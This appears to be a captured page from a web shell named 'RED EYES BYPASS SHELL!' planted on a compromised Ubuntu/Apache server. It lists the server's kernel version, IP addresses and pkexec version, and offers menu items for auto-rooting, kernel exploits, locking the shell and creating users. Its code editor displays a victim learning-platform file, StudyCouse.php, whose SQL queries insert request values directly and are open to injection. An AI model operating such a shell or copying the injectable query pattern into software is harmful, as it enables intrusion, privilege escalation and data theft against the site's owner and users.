Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
work_181165 /
API /
ViewsCouse /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Controller.php
8.92
KB
-rwxr-xr-x
SaveCouseManage.php
2.58
KB
-rwxr-xr-x
StudyCouse.php
5.21
KB
-rwxr-xr-x
couseFetch.php
3.6
KB
-rwxr-xr-x
couseSelect.php
3.52
KB
-rwxr-xr-x
saveControl.php
8.23
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StudyCouse.php
<?php try { require_once("../../server/server.php"); if ($_SERVER["REQUEST_METHOD"] == "POST") { $data = json_decode(file_get_contents("php://input"), true); if ($data !== "" && count($data) !== 0) { if (isset($data["AuthToken"]) && $data["AuthToken"] !== "") { $Auth = $data["AuthToken"]; $id = $_SESSION["lms-ID"]; $query = $db->prepare("SELECT AuthToken FROM user where ID = '$id'"); if ($query->execute()) { $query = $query->fetch(PDO::FETCH_ASSOC); if (password_verify($Auth, $query["AuthToken"])) { $page = $data["page"]; $limit = $data["row"]; $page_start = ($page - 1) * $limit; $id = $_SESSION["lms-ID"]; $cid = $data["cid"]; $book = $db->prepare("SELECT cid FROM bookcouse where student = $id and cid = $cid"); $book->execute(); while ($brow = $book->fetch(PDO::FETCH_ASSOC)) { $brr[] = $brow['cid']; } $select_smtp = $db->prepare("SELECT * FROM couse where ID = $cid LIMIT $page_start, $limit"); $select = $db->prepare("SELECT avatar, name FROM user where ID = '$id' AND verify = '200'"); $select_row = $db->prepare("SELECT count(ID) FROM couse where ID = $cid"); if ($select_row->execute()) { $totalrow = $select_row->fetchColumn(); if ($totalrow == 0) { $totalpage = 0; } else { if ($limit == "All") { $totalpage = 1; } else { $totalpage = ceil($totalrow / $limit); } } $lesson = $db->prepare("SELECT * FROM lesson where couseID = $cid"); $lesson->execute(); $lsn = array(); while ($lrow = $lesson->fetch(PDO::FETCH_ASSOC)) { extract($lrow); $lsn[] = $lrow; } $sel_unit = $db->prepare("SELECT * FROM unit where type='unit' and couseID = $cid"); $sel_unit->execute(); $urr = array(); $dkey = array(); while ($urow = $sel_unit->fetch(PDO::FETCH_ASSOC)) { extract($urow); $urr[$urow['lsnid']][] = $urow; $dkey[] = $urow['unitID']; }if(is_array($dkey)){ $did = ' and ID in ('.implode(',', $dkey).')'; }else{ $did =""; } $sel_dataunit = $db->prepare("SELECT * FROM dataunit where 1=1 $did"); $sel_dataunit->execute(); $drr = array(); while ($drow = $sel_dataunit->fetch(PDO::FETCH_ASSOC)) { $drr[$drow['ID']]=$drow; } if ($select_smtp->execute() && $select->execute()) { $arr = array(); $user = $select->fetch(PDO::FETCH_ASSOC); while ($row = $select_smtp->fetch(PDO::FETCH_ASSOC)) { extract($row); array_push($arr, array("user" => $user, "couse" => $row, "lesson"=>$lsn,"unit"=> $urr,"dtunit"=>$drr)); } http_response_code(200); echo json_encode(array("status" => true, "message" => "success", "data" => $arr, "row" => $totalpage)); } } } else { http_response_code(405); echo json_encode(array("status" => false, "message" => "AuthToken Invalid!!")); exit; } } else { http_response_code(405); echo json_encode(array("status" => false, "message" => "Server Error!!")); exit; } } } else { http_response_code(405); echo json_encode(array("status" => false, "message" => "Data exist!!")); exit; } } else { http_response_code(405); echo json_encode(array("status" => false, "message" => "Request method Not accept!!")); exit; } } catch (Exception $e) { http_response_code(405); echo json_encode(array("status" => false, "message" => $e->getMessage())); exit; }
Close